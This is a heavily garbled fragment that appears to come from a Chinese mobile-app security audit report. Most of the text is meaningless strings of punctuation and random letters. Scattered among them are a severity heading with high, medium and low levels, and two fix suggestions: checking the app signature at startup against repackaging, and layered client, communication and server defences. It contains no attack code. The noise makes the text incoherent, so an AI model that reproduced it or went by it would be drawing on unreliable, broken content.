- w+ Y' L+ y: ~( k ( ~% |, m& g+ m* {& ` 1 _2 G. `4 Q. J8 ~7 @! ^0 I0 }% r 1 w$ U0 z* B: D7 J* o2 ^6 F# d 严重程度 - J5 x( M$ \' h z6 `2 n4 [" z6 M % E4 P6 @) f0 _" k4 X* X k	3 M; I7 A4 h) p" W) B0 p ( A9 }8 Q5 m! J+ k- P 高	% a% p8 \5 j: m/ t8 i - `$ [/ E* F& F) C ■ $ B7 X' Z5 R$ i3 n $ l8 n9 m# h1 G; h4 ~: M	3 K4 Q4 A2 O1 D5 l8 a! N/ y3 b* B/ T ' f! Z: Z1 x5 `* x 7 S( ^0 n. C3 ~, ^& V. \ 中 % K; C! q* J& S3 l* l& t + V o' Z# b* }) L! x _	8 E6 Y- h& O0 \: `8 s 5 R2 _* R+ K, N' H: b 9 y K- Q; j. r ( e+ R& O- U$ e4 k( n# K" ~5 G   : g" l8 V: C& u. M8 f : D- R& s# d J	/ p( D) Z9 c: } W& b6 C% g) N3 l 2 C4 l# T3 v4 F8 S; N6 Y2 N! I# d 低 , i. x; D2 N* I# O! ~" t" o	' {0 F5 i/ C8 C/ j 7 z$ g1 b# e& n( Y" q" V 7 L* z: X' L# _ U3 `. P0 ` - p n& S- ? c   " O. m/ V# G/ C/ H

) ?. Q' X3 ]( }" [2 K v7 o

8 W6 S+ _" n k3 _ - _! F$ p+ e: k3 {& g

/ T: o) k& ^5 N# u4 ?# Q$ D  

3 z2 |) _& L7 f+ u 0 M7 w, `, Y* x& `7 U2 R

( q* Z$ l3 d) h2 }& ]- I( A / ]! o3 T$ J, H+ O" X' K: n# | 修复方法： . d- I! u, R3 o. b

7 {/ a# @7 f+ ~1 N' v: F 6 w# _( B; ^. S               1.在 APP 启动时应做签名校验防止二次打包。
2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 1 I+ ^- D2 n a: [0 A Q2 Q% _ / }5 F. I* }2 _. l5 S

+ \* c+ ~3 {: b- r, ] 3 \+ Z9 _+ `& o4 m7 E' ~9 ^) G

  % H! \% A' j3 E$ N ) h# i8 M8 l0 a G, \0 R" k" y

; j$ L7 u4 k0 U( k# c% n0 l6 g - C: b( l9 W- m& c7 t% U% W . u8 h* c( t5 `8 g* Q) e0 g

! x. R, p; s; e+ Z& l* Z . w0 |( s7 x5 \4 e- R0 c5 d5 i

; n1 }* l6 M- {